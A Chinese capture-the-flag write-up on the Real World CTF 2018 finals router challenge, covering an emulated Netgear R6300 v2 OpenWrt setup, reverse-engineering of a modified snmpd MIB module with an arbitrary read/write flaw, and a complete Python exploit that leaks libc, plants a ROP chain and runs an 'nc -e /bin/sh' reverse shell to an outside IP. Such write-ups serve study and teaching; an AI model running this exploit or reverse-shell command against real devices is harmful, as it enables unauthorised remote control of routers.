CTF Re&&PwnCTF-PWN

Real World Finals 2018 Router

2019-03-07  本文已影响46人  Kirin_say

最近时间比较多,把去年Real World总决赛的路由器重新调了一遍


router

Building Environment

因为我最后没有拿路由器,所以需要先搭建好整个模拟路由环境启动snmp服务
路由器版本:

Netgear R6300 v2
#https://openwrt.org/toh/netgear/netgear_r6300_v2

首先下载openwrt的源码(18.06.1和18.06.2皆可,只是最后EXP中偏移可能不同)
配置config:

Target System: BCM47XX/53XX
Target Profile: Netgear R6300 v2
Target Images: squashfs //生成文件系统即可
Development: gdb&&gdbserver //便于后续调试

而后保存配置并编译
在编译好的文件中找到编译好的文件系统:

# ls
bin  etc  mnt      proc  root  sys  usr  www
dev  lib  overlay  rom   sbin  tmp  var

有两个思路:

通过文件系统制作镜像,再用qemu启动 #没有成功
在qemu启动的arm虚拟机或者可以运行arm的环境下chroot开启整个环境

我选择直接在树莓派中搭建环境
(也可以在qemu system mode下的arm虚拟机中启动,后面有说明)
将文件系统整个放入树莓派中(包括比赛的两个ipk包):
而后配置chroot环境:

sudo mount proc chroot_dir/proc -t proc
sudo mount sysfs  chroot_dir/sys -t sysfs
cp  /etc/hosts  chroot_dir/etc/hosts  #配置网络环境
编辑 chroot_dir/etc/resolv.conf:  #配置DNS环境
nameserver 8.8.8.8

开启chroot环境:

sudo chroot  .  ./bin/sh

而后安装比赛的snmp环境:

opkg install ./libnetsnmp_5.8-1_arm_cortex-a9.ipk
opkg install ./snmpd_5.8-1_arm_cortex-a9.ipk
#可能存在报错无法建立配置文件,在var下建立run文件夹即可

确认snmp服务启动:
路由器环境端:

/ # netstat -anp|grep snmpd
udp        0      0 0.0.0.0:161             0.0.0.0:*                           1922/snmpd
udp        0      0 :::161                  :::*                                1922/snmpd
unix  2      [ ACC ]     STREAM     LISTENING      18493 1922/snmpd          /var/run/agentx.sock

本机端:

kirin@kirin-virtual-machine:~$ snmpwalk -v 1 -c public 192.168.137.33  .1
iso.3.6.1.4.1.2021.13.32.1.0 = INTEGER: 0
iso.3.6.1.4.1.2021.13.32.2.0 = INTEGER: 1996043560
End of MIB

同样的,在qemu system模式下启动的arm虚拟机也可以启动服务:

下载内核&&镜像
https://people.debian.org/~aurel32/qemu/armhf/
配置qemu虚拟机网络:
https://kirin-say.top/2019/02/23/Building-MIPS-Environment-for-Router-PWN/
启动qemu虚拟机:
sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2"  -net nic,macaddr=00:16:3e:00:00:01 -net tap 
启动服务后同样配置chroot环境运行即可

Find R/W at Any Address in MIB

在搭建的路由器环境下gdbserver运行snmpd,IDA下动态调试追踪程序流
可以看到snmp服务会先初始化mib,agent等环境:

LOAD:000125B8 BL              init_mib_modules
LOAD:000125BC LDR             R0, [R10]
LOAD:000125C0 BL              init_snmp
LOAD:000125C4 BL              init_master_agent

在init_mib_modules中可以看到:

int init_mib_modules()
{
  int result; // r0
  int v1; // r3

  result = should_init();
  if ( result )
    result = j_init_greatSensors();
  v1 = dword_1102C;
  dword_11028 = 1;
  if ( !dword_1102C )
  {
    dword_1102C = 1;
    result = snmp_register_callback(v1, 2, (int)sub_9D4);
    if ( result )
      result = snmp_log(3, "error registering for SHUTDOWN callback for mib modules\n");
  }
  return result;
}

其会先调用init_greatSensors()注册回调函数:

LOAD:000008E0 init_greatSensors                       ; CODE XREF: j_init_greatSensors+8↑j
LOAD:000008E0                                         ; DATA XREF: LOAD:000002D8↑o ...
LOAD:000008E0
LOAD:000008E0 var_70          = -0x70
LOAD:000008E0 var_64          = -0x64
LOAD:000008E0 var_60          = -0x60
LOAD:000008E0 var_38          = -0x38
LOAD:000008E0
LOAD:000008E0                 LDR             R12, =(dword_A88 - 0x8FC)
LOAD:000008E4                 STMFD           SP!, {R4,R5,LR}
LOAD:000008E8                 SUB             SP, SP, #0x64
LOAD:000008EC                 ADD             LR, SP, #0x70+var_60
LOAD:000008F0                 LDR             R5, =(_GLOBAL_OFFSET_TABLE_ - 0x90C)
LOAD:000008F4                 ADD             R12, PC, R12 ; dword_A88
LOAD:000008F8                 MOV             R4, R12
LOAD:000008FC                 ADD             R12, R12, #0x28
LOAD:00000900                 LDMIA           R4!, {R0-R3}
LOAD:00000904                 ADD             R5, PC, R5 ; _GLOBAL_OFFSET_TABLE_
LOAD:00000908                 STMIA           LR!, {R0-R3}
LOAD:0000090C                 LDMIA           R4!, {R0-R3}
LOAD:00000910                 STMIA           LR!, {R0-R3}
LOAD:00000914                 LDMIA           R4, {R0,R1}
LOAD:00000918                 MOV             R4, #3
LOAD:0000091C                 STMIA           LR, {R0,R1}
LOAD:00000920                 ADD             LR, SP, #0x70+var_38
LOAD:00000924                 LDMIA           R12!, {R0-R3}
LOAD:00000928                 STMIA           LR!, {R0-R3}
LOAD:0000092C                 LDMIA           R12!, {R0-R3}
LOAD:00000930                 STMIA           LR!, {R0-R3}
LOAD:00000934                 ADD             R2, SP, #0x70+var_60
LOAD:00000938                 LDMIA           R12, {R0,R1}
LOAD:0000093C                 LDR             R3, =(off_10FFC - 0x10FAC)
LOAD:00000940                 STMIA           LR, {R0,R1}
LOAD:00000944                 LDR             R0, =(aGreatmiscsenso - 0x958)
LOAD:00000948                 LDR             R3, [R5,R3] ; handle_greatMiscSensorsDevice
LOAD:0000094C                 STR             R4, [SP,#0x70+var_70]
LOAD:00000950                 ADD             R0, PC, R0 ; "greatMiscSensorsDevice"
LOAD:00000954                 STR             R3, [SP,#0x70+var_64]
LOAD:00000958                 MOV             R3, #0xA
LOAD:0000095C                 LDR             R1, [SP,#0x70+var_64]
LOAD:00000960                 BL              netsnmp_create_handler_registration
LOAD:00000964                 BL              netsnmp_register_scalar
LOAD:00000968                 LDR             R3, =(off_10FF0 - 0x10FAC)
LOAD:0000096C                 ADD             R2, SP, #0x70+var_38
LOAD:00000970                 LDR             R0, =(aGreatmiscsenso_0 - 0x980)
LOAD:00000974                 LDR             R3, [R5,R3] ; handle_greatMiscSensorsIndex
LOAD:00000978                 ADD             R0, PC, R0 ; "greatMiscSensorsIndex"
LOAD:0000097C                 STR             R4, [SP,#0x70+var_70]
LOAD:00000980                 STR             R3, [SP,#0x70+var_64]
LOAD:00000984                 MOV             R3, #0xA
LOAD:00000988                 LDR             R1, [SP,#0x70+var_64]
LOAD:0000098C                 BL              netsnmp_create_handler_registration
LOAD:00000990                 BL              netsnmp_register_scalar
LOAD:00000994                 MOV             R0, #0x78 ; 'x' ; size_t
LOAD:00000998                 BL              malloc
LOAD:0000099C                 LDR             R3, =(vla_str - 0x9AC)
LOAD:000009A0                 MOV             R2, #0
LOAD:000009A4                 ADD             R3, PC, R3 ; vla_str
LOAD:000009A8                 STR             R0, [R3,#(mib_address - 0x11020)]
LOAD:000009AC                 STR             R2, [R3]
LOAD:000009B0                 ADD             SP, SP, #0x64
LOAD:000009B4                 LDMFD           SP!, {R4,R5,PC}
LOAD:000009B4 ; End of function init_greatSensors

可以看到其注册了两个回调函数,动态调试下看到注册过程:

int __fastcall sub_76F59344(int a1, int a2, int a3, int a4)
{
  int v4; // r5@1
  int v5; // r6@1
  int v6; // r7@1
  int v7; // r4@1
  int v8; // r5@2

  v4 = a1;
  v5 = a3;
  v6 = a4;
  v7 = ((int (__cdecl *)(int, int, int))unk_76F4D74C)(a1, a2, a3);
  if ( v7 )
  {
    v8 = ((int (__fastcall *)(int, int, int, int))unk_76F4C0D8)(v4, v7, v5, v6);
    if ( !v8 )
      ((void (__fastcall *)(int))unk_76F4C228)(v7);
  }
  else
  {
    v8 = 0;
  }
  return v8;
}

首先是写入函数地址:


address

而后函数名称:


function name
而后mib对象对应的OID:
OID

可以看到此OID:1.3.6.1.4.1.2021.13.32.2.0
当利用snmpset/snmpget对此对象进行读写操作时,会利用netsnmp_call_handler函数处理对象,最终调用对应此OID的回调函数:handle_greatMiscSensorsDevice函数
netsnmp_call_handler关键部分:

v10 = (int (__fastcall *)(int *, int, int *, int))v8[3];
if ( !v10 )
        break;
se_find_label_in_slist((int)"agent_mode", *v6);
result = v10(v8, v9, v6, v7);
v12 = v8[2];

同样另一个回调函数handle_greatMiscSensorsIndex对应OID:


OID

即:1.3.6.1.4.1.2021.13.32.1.0
这时候关注两个回调函数,发现了任意地址读写:
handle_greatMiscSensorsDevice:

int __fastcall handle_greatMiscSensorsDevice(int a1, int a2, signed int *a3, _DWORD *a4)
{
  signed int v4; // r4
  int result; // r0
  int v6; // r0
  int v7; // r3
  const char *v8; // r2
  int v9; // r1

  v4 = *a3;
  if ( *a3 == 2 )
  {
    if ( vla_str <= 29 )
    {
      *(_DWORD *)(mib_address + 4 * vla_str) = **(_DWORD **)(*a4 + 16);
      return 0;
    }
LABEL_15:
    netsnmp_set_request_error();
    return 0;
  }
  if ( *a3 > 2 )
  {
    if ( v4 > 5 )
    {
      if ( v4 != 160 )
        goto LABEL_5;
      v6 = *a4;
      if ( vla_str > 29 )
      {
        v7 = 7;
        v9 = 4;
        v8 = "Go Back";
      }
      else
      {
        v7 = 4;
        v8 = (const char *)(mib_address + 4 * vla_str);
        v9 = 2;
      }
      snmp_set_var_typed_value(v6, v9, (int)v8, v7);
    }
    return 0;
  }
  if ( v4 )
  {
    if ( v4 != 1 )
    {
LABEL_5:
      snmp_log(3, "unknown mode (%d) in handle_greatMiscSensorsDevice\n", *a3);
      return 5;
    }
    return 0;
  }
  result = netsnmp_check_vb_type(*a4, 2);
  if ( result )
    goto LABEL_15;
  return result;
}

handle_greatMiscSensorsIndex:

int __fastcall handle_greatMiscSensorsIndex(int a1, int a2, signed int *a3, _DWORD *a4)
{
  signed int v4; // r4
  int result; // r0

  v4 = *a3;
  if ( *a3 == 2 )
  {
    vla_str = **(_DWORD **)(*a4 + 16);
    return 0;
  }
  if ( *a3 > 2 )
  {
    if ( v4 > 5 )
    {
      if ( v4 != 0xA0 )
        goto LABEL_5;
      snmp_set_var_typed_value(*a4, 2, (int)&vla_str, 4);// (netsnmp_variable_list *newvar, u_char type, const void *val_str, size_t val_len)
    }
    return 0;
  }
  if ( v4 )
  {
    if ( v4 != 1 )
    {
LABEL_5:
      snmp_log(3, "unknown mode (%d) in handle_greatMiscSensorsDevice\n", *a3);
      return 5;
    }
    return 0;
  }
  result = netsnmp_check_vb_type(*a4, 2);
  if ( result )
  {
    netsnmp_set_request_error();
    return 0;
  }
  return result;
}

可以看到handle_greatMiscSensorsDevice中:
当使用snmpset写对象时,

#*a3从0循环->0 1 2 3 0 1 2 3......
  if ( *a3 == 2 )
  {
    if ( vla_str <= 29 )
    {
      *(_DWORD *)(mib_address + 4 * vla_str) = **(_DWORD **)(*a4 + 16);
      return 0;
    }

mid_address是在snmp服务启动mib初始化时在init_greatSensors中:

result = malloc(0x78u);
mib_address = (int)result;
vla_str = 0;

而val_str在handle_greatMiscSensorsIndex中可以进行设置:

vla_str = **(_DWORD **)(*a4 + 16);

即我们对OID对象1.3.6.1.4.1.2021.13.32.1.0设置的值
所以当我们依次调用handle_greatMiscSensorsIndex进行设置vla_str,此值只需小于29(在这里设置为负数即可),而后调用handle_greatMiscSensorsDevice即可实现任意地址写
任意地址读相同原理,当snmpget读取对象时,会调用:

#v8 = (const char *)(mib_address + 4 * vla_str);
#这里同样检测vla_str是否大于29,设置为负数即可
snmp_set_var_typed_value(v6, v9, (int)v8, v7)

即会将对象的值设置我们构造地址处的值
而后取出对象value返回给snmpget完成任意地址读

POC

首先需要leak libc
想到注册回调函数位置
利用任意地址读找到注册函数保存地址来leak libc

hex(0x76F5F9F0-0x76F5F40c)=0x5e4

而后再次利用handle来劫持程序流,即netsnmp_call_handler中:

v10 = (int (__fastcall *)(int *, int, int *, int))v8[3];
if ( !v10 )
        break;
se_find_label_in_slist((int)"agent_mode", *v6);
result = v10(v8, v9, v6, v7);
v12 = v8[2];

这时候只需要事先布置好一条ROP链,最后将handle改为我们的rop chain地址即可劫持程序流,最终达到RCE:

ROPgadget  --binary ./libc.so 
......
0x000596bc : ldr r3, [pc, #0x3c] ; ldr r2, [pc, #0x3c] ; add r3, pc, r3 ; ldr r0, [pc, r2] ; ldr r3, [r3] ; blx r3
......
在这里可以先将r3,r2值分别设置为&system function,&shell
修改handle并再次对snmp对象操作便可达到RCE
#也可以选择其他ROP链,构造可以system(shell)即可

最终POC:

#针对我模拟的路由环境,具体情况可能需要修改偏移
from pwn import *
import sys
import os
#context.log_level="debug"
def read(ip,offset):
   cmd1="snmpset -v 1 -c public %s 1.3.6.1.4.1.2021.13.32.1.0 i %s" %(ip,offset/4)
   cmd2="snmpget -v 1 -c public %s 1.3.6.1.4.1.2021.13.32.2.0"   %ip
   os.system(cmd1)
   p2=process(cmd2,shell=True)
   p2.recvuntil("INTEGER: ")
   leak=int(p2.recvuntil("\n").strip())
   p2.close()
   return leak

def write(ip,offset,note):
   cmd1="snmpset -v 1 -c public %s 1.3.6.1.4.1.2021.13.32.1.0 i %s" %(ip,offset/4)
   cmd2="snmpset -v 1 -c public %s 1.3.6.1.4.1.2021.13.32.2.0 i %s"  %(ip,note)
   os.system(cmd1)
   sleep(0.5)
   os.system(cmd2)

def get_shell(ip):
   cmd="snmpget -v 1 -c public %s 1.3.6.1.4.1.2021.13.32.1.0"   %ip
   os.system(cmd)

if __name__=="__main__":
    ip=sys.argv[1]
    #leak addr
    handle_addr=read(ip,-0x5e4)
    mibso_base=handle_addr-0x818
    libcso_base=handle_addr+0x507e8
    log.info("mibso_base="+hex(mibso_base))
    log.info("libcso_base="+hex(libcso_base))
    system_addr=libcso_base+0x43210
    ropchain_addr=libcso_base+0x596bc
    r3_addr=libcso_base+0x80394
    r2_addr=libcso_base+0x80398
    
    #build rop chain
    base=mibso_base+0xd29f0
    cmd_addr=libcso_base+0x80420
    write(ip,r3_addr-base,system_addr)
    write(ip,r2_addr-base,cmd_addr)
    cmd="nc -e /bin/sh 192.168.160.131 1234\x00" #the shell you want run in router
    #padding
    cmd+="1"
    time=len(cmd)/4
    cmd=cmd.ljust((time+1)*4,"1")
    for i in range(time):
          write(ip,cmd_addr+i*4-base,u32(cmd[i*4:i*4+4]))
    write(ip,-0x5e4,ropchain_addr)
    get_shell(ip)

Run POC&&Get Shell

python payload.py  router_ip
PWN
上一篇下一篇

猜你喜欢

热点阅读